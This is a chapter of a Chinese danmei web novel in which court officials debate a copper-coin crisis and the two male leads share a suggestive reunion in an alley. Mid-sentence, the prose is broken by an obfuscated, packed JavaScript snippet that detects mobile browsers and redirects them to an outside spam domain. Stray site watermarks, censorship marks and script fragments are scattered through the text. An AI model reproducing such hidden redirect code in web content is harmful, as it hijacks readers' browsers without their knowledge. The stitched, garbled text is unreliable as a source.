第 102 章 巷子
作品:《寡夫郎他男人找来了》 第102章巷子
【“白微澜我真的好喜欢你”】
第二天,宴绯雪醒来的时候已经中午了。
倒不是昨晚闹的厉害而是连日五六天奔波劳累昨晚终于躺在柔软的床上舒服地睡了一觉。
一夜无梦好眠,只是醒来见是陌生的房间有些不适应。
他起身下床穿好衣服,刚推开门,就见一旁两位丫鬟端着洗漱用具等着。
洗漱完后丫鬟又领他去大厅。不一会儿又两三个下人端着早膳来了。
葱椒鸡羹热粥、口蘑虾丸粥、燕窝等。一桌子光粥就有三种,而后都是其他药膳食补。
宴绯雪即使还是没怎么有胃口都一点点的吃了几口。
周围的下人不言语宴绯雪也没问话只静静的吃着。
他吃完后在院子里看了看山茶曼陀花,准备出院子的时候,守卫的士兵拦住了他。
“白公子交代夫人不能出院子。”
宴绯雪点头,“他人呢?”
“正在和世子书房议事。”
书房内,顾凛柏面色严肃的听着手下汇报城中消息。
“三皇子的人带着人马,严厉打击城里高价屯粮的富商要他们开仓放粮食。”
“之前已经杀了两个富商但粮食价格只降了一天,涨到今天一石米已经涨至三两了。”
“而且明面上米铺都没米都是背着官府悄悄私底下交易。”
“现在铜荒越来越严重好些富商趁机融了铜币提取黄铜。”
大历朝铸币的铜分为三种,红铜、青铜、黄铜。这些铜币不单是颜色不同就连里面成分也不同。青铜是在冶炼时加入锡或铅,黄铜则是加入锌。
白微澜补充道“朝廷明文规定,白银一两换制一千文铜板但近来铜价飞涨闻登州内需要一两四五钱银子才能兑换一千文。不仅闻登州据我夫人说遥山县也受到影响不快速遏制铜荒将蔓延全国。”
“铜荒袭来货物不能流通百姓生计艰难到时候百业凋敝天下更将大乱。”
谢敏之闻言
白微澜道“一千文铜钱约莫能提炼出七斤重的黄铜以目前铜价七斤重的黄铜能卖一两七八钱。要是毁钱铸造铜器更是获利五倍不止。”
谢敏之道“那我们还错怪三皇子手段粗暴残忍了?他杀了好
些毁钱制造铜器卖的。”
其实最开始顾凛柏刚到闻登州的时候也是三申五令严禁毁钱鬻铜。但是只要铜价高企那些富商们明知道是飞蛾扑火但还是趋之若鹜。
顾凛柏最开始就带着朝廷禁止开矿的禁令而来但基本没人当一回事情。
毕竟明面上闻登州一直都是禁铜开矿。
但这里哪个富商官员背后没有朝廷大官王室支撑。他们铸造的铜币说是私钱但走的都是官家手续。
闻登州先用**刻出“样钱”经过户部工部鉴定许可后用精锡造成一枚“祖钱”。再上省给天子过目再由户部造数百枚“母钱”送达各个铸钱局。
而闻登州就是一个隐藏在暗处的铸钱局。
所以当奕王世子说禁止开矿铸钱好些官员还公然搬出朝廷还称铸钱是获得二皇子许可的。
以前闻登州封禁这些消息在内部传朝廷也没重视。
但随着州内百姓潜逃溜出州内这消息不胫而走有损朝廷威严还引起各地富商觊觎。
遮羞布没了朝廷震怒。
顾凛柏来的时候手提天子剑杀鸡儆猴当众斩杀那官员。
但也是因为这件事情彻底激发了二皇子的怒气便发动对奕王的攻击导致奕王被禁足天子剑也被收回。
最后朝廷派三皇子前来监军与奕王世子一起整顿闻登州。
太子敦厚仁德二皇子贪婪狡诈三皇子纵情酒色夜郎自大。
三个皇子里
他虽耽于享乐但外界提起皇子只有前头两个哥哥他心里自是不服气一心想要干出一番功绩。
于是这个闻登州都没人敢碰的烫手山芋他主动请缨前来。
要遏制铜荒就得从源头上解禁开矿但朝廷这次动了真格连下了五道旨意要禁铜。
即使顾凛柏手段再狠辣再铁面无情铜钱还是越走越高。
三皇子却不这么想他觉得顾凛柏没成功是因为打击力度不够大杀的人不够多。
那些富商在城中囤积物资导致百姓没钱买。那就逼富商吐出来百姓就有吃的了。囤积铜币毁钱鬻铜的无疑是在挑衅朝廷那就杀掉震慑四方。
三皇子的法子就是严打严查严封结果局势比顾凛柏之前还要乱。
并不是把人杀光
物价铜价就能降下来。
白微澜道“如果放任三皇子这么下去
“只有尽快开城门放那些天南地北赶来的商贩把物资运进城这样物价才能迅速回跌。”
谢敏之迟疑道“三皇子说那些商贩倒卖的物资进来都会被州内富商囤积无疑羊入虎口增长那些富商气焰。”
白微澜气定神闲道“再如狼似虎的商贩也有撑饱吃不动的时候小世子可以站在城楼上看看外面天南地北的商户还撑不死一个州内的富商吗?”
他们之前放出的风声想必现在已经传遍各地了。
一直没出声的顾凛柏看向白微澜“所以你是想要我尽快说通三皇子开城门?”
白微澜点头又摇头。
“三皇子这种人说不通的。他不想开城门咱们就使点法子让他开城门。”
“找点流民不断袭击三皇子府邸全城**明明城外一堆物资却要眼睁睁看着百姓饿死。”
顾凛柏默一会儿目光警告看向白微澜“袭击三皇子你有几条命?直胆大包天。”
白微澜不紧不慢道“因为一个愚蠢的三皇子致使全州多少百姓流离失所啃树皮?”
“所谓的朝廷也不过是天下最贪最奸的商人需要用到百姓开矿铸铜强征村民入山导致田地荒芜食不果腹。即使后面再开荒田前面四五年颗粒无收。”
“现在事态失控一纸禁令强行赶尽杀绝。说什么数以万计精壮男丁藏于山林威胁到百姓安全这威胁什么?那就是他们的父兄儿子!”
“城内到处再抓那些开矿的工人、杀铸铜的工人难道他们的命不是命?”
“他们现在为了一口吃的被逼至绝路要真放任三皇子这么下去全州□□哗变。”
谢敏之看着怒意上眉的白微澜片刻没说话而后小小举起手掌拍了两下。
顾凛柏一记眼刀袭来吓得他立即直挺后背。
顾凛柏对白微澜沉声道“收起你的狂傲。这话足够你灭了九族。”
白微澜沉默。
他盯着顾凛柏看了好一会儿而后笑道“我敢说那是因为世子本身就是这么想的。我说的不过是世子心里想法而已。”
顾凛柏道“滚。”
白微澜立马起身走的比以往都快。
像是迫不及待似的。
谢敏之看着面色不愉的顾凛柏“别气别气他这人就是恃才傲物。”
顾凛柏斜了他一眼意有所指道“那也是有脑子可以狂傲。”
谢敏之抱头后仰嘀咕“你要骂就骂他啊劈头盖脸数落**嘛。”
顾凛柏目光闪动抬头揉了下额头像是无奈白微澜的脾气。
谢敏之早就见惯不惯了。
顾凛柏对白微澜有一种特殊的感情。
“恃宠而骄啊。”
“我还是第一次见旁人这么吼你。你的下属哪个见了你不是胆战心惊的。”
顾凛柏没有出声。
谢敏之道“那白微澜为什么这么着急开城门换做是我日进斗金只要城门再关上一两个月定能富甲一方了。”
“你如果跟着白微澜去乡里去山里穿梭走一趟
还有就是白微澜在乡里生活过一段时间。洗去了京城富家子弟何不食肉糜的愚蠢与冷漠。他深切的知道百姓活着不容易。
“你没听他刚刚说的百姓已经开始吃观音土啃树皮了。”
谢敏之耸耸肩他才不会去那些□□流民的地方。
他吊儿郎当翘着腿道“他当初提议在城门口盖仓库牟取暴利我还以为他也是一个钻钱眼儿里的商人。”
顾凛柏从书案抽屉里掏出一本书丢给了谢敏之。
“《宦海沉浮录》?”
“啥玩意儿?”
谢敏之粗粗扫了一眼把它归类于一些名利场汲汲营取的歪门邪道。妍善亭
没等他一脸不屑的鄙夷就听顾凛柏道:
“翻到最后一页。”
谢敏之看顾凛柏一眼边翻边嘀咕搞的这么神神秘秘。
窸窸窣窣翻开后只见最后空白页上龙飞凤舞大字写着——“计利当计千秋利求名当求万古名。”
顾凛柏道“白微澜写的。”
“十五岁写的。”
谢敏之咋舌。
而后又想到白微澜平时纨绔不靠谱的样子和这番豪气侠义言论大相径庭。
不过看着这本封面都被翻包浆的书再看顾凛柏这个面瘫脸露出的赞赏谢敏之道“难怪?你是他小弟啊?”
顾凛柏面色瞬间冰冷。
“我比他大。”
“唔那大迷弟。”
谢敏之见顾凛柏皱着眉头不知道顾凛柏在乎这个干什么。
“那你们还真是有
缘,人家夫人还救了你爹,他自己还揭穿了那个秦什么的孙什么的歪门把戏。”
“听说他夫人也来城内了。”
顾凛柏蹙眉问道,“怎么进来的?”
“钻狗洞啊。”
“你不知道,小六昨天给我倒半夜苦水,说白微澜比狗还狗。”
另一边,白微澜回到小院子,就见宴绯雪坐在花圃亭里看书。
他悄声而近,蹑手蹑脚的从背后走近,一下子就抱住了宴绯雪。
宴绯雪莞尔一笑,余光中早就见他来了。扭头亲了他下颚,“狗狗祟祟的。”
白微澜被这吻,惊的怔住了。他愣了下,才言辞正经道,“好啊,光天化日下,你白日宣淫。”
宴绯雪双手环住白微澜的脖子,笑似春风,“抱我。”
白微澜反倒有些不好意思了,抱着人瞧了瞧外门的守卫,进了房门。
“你就肆无忌惮仗着没人认识你吧。”
宴绯雪攀附在肩膀,不轻不重的咬着他喉结,轻笑道,“对啊,孩子们又不在。”
白微澜见他精神气好了很多,面色红润但身上还是没几斤肉。
把宴绯雪放贵妃榻上,给他捶肩捏背舒缓连日奔波的筋骨。
两人一个上午就窝在了房间里,说说话,闲聊正事都过了一遍。说着说着,两人又忍不住腻歪在一起,亲亲抱抱摸摸,像是新婚燕尔似的小夫夫。
宴绯雪躺在白微澜的怀里,眼里满是舒缓笑意,眼尾一片嫣红带着点不意察觉的媚色。
他一笑,白微澜又像狗似的,头埋在他肩膀上,颈窝、锁骨湿漉漉一片细流痒意。
宴绯雪被弄的浑身发软酥酥麻麻的,像是一滩水软在白微澜的胸口,汩汩渗进宽阔□□的胸膛,融化在白微澜的心口。
两人耳鬓厮磨半晌,白微澜还呢喃道,“好喜欢,亲不够。”
宴绯雪道,“要不……”
“嗯?不要,我就想黏糊在你身上。”
宴绯雪的身体还得好好修养,他摸着瘦而平坦的腰肢,认真道,“太瘦了,我要把晏晏养胖。”
宴绯雪道,“猪养胖了就要杀了。我才不要胖。”
“那我们一起胖。谁都嫌弃不了谁。”
他又一本正经道,“不行啊,胖了,狗洞就钻了不了。”
宴绯雪噗嗤笑出了声,“我来,世子不会责罚你吗?”
白微澜亲亲宴绯雪鼻尖,“不会。他本来就主张开城门,再说
你是他爹救命恩人,睁一只眼闭一只眼就过了。”
宴绯雪笑笑看着他,“我说件事,你不能生气。”
“什么?”
“嗯,就是有段时间,有人传你和时莺私奔了。”
白微澜下意识暴躁挺身,宴绯雪摸着他胸口肌肉都硬邦邦的。
“说了不生气。”
“哦。”
白微澜气鼓鼓的,看着满不在乎还不准他生气的宴绯雪,开口质问道,“那你怎么处理的?”
“时莺回来了,不攻自破。”
“哦。”
“你可真大度。”
“我没……”
宴绯雪剩下的话被白微澜唇齿搅乱,堵在了嘴边。
这惩罚性的吻来势汹汹,宴绯雪最后受不住,抓着白微澜最脆弱的地方,才逃过一劫。
理所应当的,帮白微澜泄-火降躁。
两人一直关在房里,玩到了中午。
宴绯雪对闻登州内的情况有些摸不清,外界传闻的吓人,正好上街一瞧虚实。
两人出门,院子的小黄也要跟着去。
不过白微澜最后还是没放小黄走。
人生地不熟,小黄又不聪明,走丢了好不好找。
不过,他们两个出门,小六必定跟着。
小六还替小黄抱不平,称白微澜卸磨杀驴。之前钻狗洞的时候,喊小黄祖宗,现在就嫌弃人家不聪明。
闻登州城内和遥山县看起来没有多大区别,深秋的萧瑟让城内恐慌的气氛显得更加荒凉。
一路上走走看看,基本上街道商铺都是空的,里面的货物被洗劫一空。已经开始到深秋,但是很多百姓还是穿的夏衣。
街上有士兵在来回巡逻,百姓见状都避之不及。
宴绯雪本以为城内会闹哄哄乱糟糟的,但想在看来就是一个死寂荒漠。
小六道,“前段日子三皇子刚来那会儿,城内闹的厉害,到处抓矿工。那些百姓没有办法最后被逼的落草为寇。原本闻登州就匪患厉害,这下真的是像朝廷说的,聚于山野危害四方了。”
“后面那些工人反抗官兵发起□□,白微澜还被流箭射中了。”
宴绯雪闻言只见白微澜神色遮掩,小六目视前方,又没注意两人一逼问一闪躲的脸色。
小六道,“那些流民可不是普通老百姓,他们常年下矿身体精壮。而且,铸钱的工人竟然铸了好些弓箭。那些弓箭虽然不如朝廷锋利,但流民点子也毒。箭头浸泡在
马粪水里只要擦破皮肤就很
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651643|172670||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
容易破伤风。”
宴绯雪看向白微澜伸手握着他手腕不言不语。
眉目流露出一丝受惊后怕的神色
小六道“昏迷的时候一直喊夫人也是个痴情种的。”
“不过夫人也跋山涉水找来你们二人简直天作之合。”
小六说着自己都感动了。结果一直没听见身后回应他奇怪的扭头身后早已不见两人身影。
另一条废弃满是草垛的巷子里。
宴绯雪看着拉着自己手腕的白微澜“为什么要甩掉小六?我还想听听他说的那些事情。”
白微澜摸摸鼻头“他话痨打扰我们两个逛街。”
宴绯雪一瞬不瞬望着他。
小六说的都是真的。
要是白微澜真的没醒过来怎么办?
眼里逐渐水光颤颤神色严肃又认真。
白微澜被这样望着心里拧的厉害伸手抱住了宴绯雪。
深秋的日光暖暖的巷子墙头上深绿的苔藓小花在微风中交缠依偎。
两人抱着久久没有言语。
白微澜抬手抚摸宴绯雪的后背凑近耳边悄声道“晏晏不能再抱啦再抱就要出事了。”
宴绯雪心底正难受闻言啼笑皆非这些天的担惊受怕惶恐不安都被白微澜逗没了。
就没个正经的。
天光落在巷子上光晕半明半暗散着四周的草垛上两人躲在草垛干燥阴暗处悄悄接着火热的吻。
干柴-烈火很容易擦边走火。
不过白微澜不一会儿就拉起宴绯雪只见草垛陷下一个人窝。
他抬手取下宴绯雪脑袋上的稻草宴绯雪注视着白微澜气息不稳道“我好想你。”
“我一路都在想你怎么样了如何受伤的。路上遇见驿卒我都想拦下看看是不是有你给我的信。想你给我写的信是不是就这么擦肩而过了。”
白微澜眼里动容想安慰宴绯雪但他发出的信确实应该错过了。
奔驰的驿卒与风尘仆仆惊惶赶路的宴绯雪遇上了。
三皇子来后更是不能送出消息了。
“但我又不敢细想只能想我们在一起的点点滴滴。”
宴绯雪低头垂眸道“这一路我真的好想你。”
说道这里他看着白微澜惊喜的神色
嘴角微微扬起坦荡道“白微澜真的好喜欢你。”
猝不及防的剖白白微澜脑子空白了下。
“阿澜。”
“澜哥。”
“白阿澜。”
他昏迷中的呓语思念此时宴绯雪都一声声给与回应。
宴绯雪的语调夹着黏稠不化的情谊听得白微澜双腿发软忍不住扶着宴绯雪将人又抵在了草垛里。
啪嗒一声窸窸窣窣骤停。
一滴液体落在了宴绯雪翕动的鼻尖上。
“噗~”
“你流鼻血了。”
白微澜喘着气道“太刺激了。”
他从宴绯雪身上起身双手撑在草垛上此时脑子不合时宜想到一个画面。
想着想着他自己抿着泛红的薄唇笑起来了。
“笑什么?”
“想起了之前在村里那母鸡在草垛里下蛋。晏晏现在就像是一颗鸡蛋。”
……
宴绯雪掀开白微澜起身坐在草垛上。
他身上衣衫完好倒是白微澜被他抓的胸口露出一大片上面满是鲜红痕迹。
白微澜见宴绯雪不打算走干脆也坐在草垛上。
可刚坐下宴绯雪又攀上了他肩膀。
热情起来的宴绯雪白微澜简直招架不住。
没一会儿又陷落在窸窸窣窣的草垛里。
白微澜心疼道“稻草割的你后脖子起了一片红疹子。”
有种被凌虐窃情的视角冲击。
宴绯雪无声的肆意笑着回应白微澜的是更加主动和热情。
像是要用汹涌的情-潮一遍遍冲刷分离那段时间的忧虑惶恐。
抛却一切枷锁封闭又深邃广阔的草垛里只有最原始的鱼水-之欢确认彼此的存在。
白微澜太痛苦了。
这里他根本不能做什么但宴绯雪就是缠着他亲到处点火。
白微澜嗓子压抑低哑的厉害偏头喘口气道“放过我好不好我不行了晏晏。”
他一边说还一边扯着身后的草垛
暗淡隐蔽的角落里不停有窸窸窣窣响动偶尔有几乎不可闻的闷声泄露。
良久过后日光慵懒透过缝隙泄落点光落在宴绯雪红润透亮的脸颊上。白微澜扭头看他只见他躺在自己怀里睡着了。
白微澜抬手轻轻抚过他额头上的细汗渍下巴蹭着光洁的额头闭着眼心里被暖流塞的满满
当当。
这一箭挨的也值了。雁杉厅
往日都是他说喜欢,宴绯雪才回应他喜欢。今天却意外听到宴绯雪主动说,圆满了。
宴绯雪往日在情-事上多是配合,要多了狠了,还会不耐烦踢他。这回,这么主动热情,还真是令他难以招架,甚至有点黏人。
哎,真是甜蜜的烦恼。
白微澜美滋滋的想着,嘴角弧度抿了又扬,扬了又抿,最后忍不住自己低笑出声了。
但又怕吵醒宴绯雪,便克制着无声笑着。
不过他一低头,就见宴绯雪正目光清灵的望着他。
“笑什么?
“晏晏可爱。
“可爱?
宴绯雪手指挑着白微澜胸口处的衣物,眼波流转眼尾上挑,黏腻着柔声道,“难道不是销-魂入骨?
白微澜被盯的头皮发麻,忍不住后仰着脖子,眼里无声喊救命。
他重重呼一口气,抓住宴绯雪又开始作乱撩拨的手指,“晏晏,媳妇儿,求求你了。不然今天真要交代这里了。
宴绯雪肆无忌惮扬唇道,“挺好,也别有一番趣味。
白微澜把宴绯雪的手轻轻放一边,立马死死捂住自己胸口,戒备道,“不行,太刺激了。
“我控不住快。
“到时候晕死过去怎么办。
“多丢人。
“唔,牡丹花下死做鬼也风流?
宴绯雪说着又缠上了白微澜的脖子,开始细细舔着,沿着脖子、耳垂、下颚、鬓角。
白微澜头皮要炸了。
他激的眼里湿濡,重重喘了口气。
宴绯雪眼里笑意更甚,魅惑像个妖精似的,趴在白微澜身上**气。
白微澜又不敢动手掀开他,只得委屈可怜求宴绯雪放开他。
宴绯雪体会了一把白微澜以前的感受,心情大好。
宴绯雪红唇含着他下颚,轻轻舔舐,蛊惑道,“不放。
白微澜手掌捏着拳头松了又紧,紧了又松,手腕上的经脉都紧绷凸起了。
最后,白微澜竟然呜呜呜的哭起来了。
“呜呜呜,晏晏,我真的好痛苦,你别这么折磨我了。
“我要是在这里要了你,事后我肯定不想活了。
“呜呜呜,你如果真的爱我喜欢我,就要尊重我的想法。
白微澜半真半假的哭着,眼泪还真流下几滴。
宴绯雪看着他哭,自己腰腹却被咯的越来越厉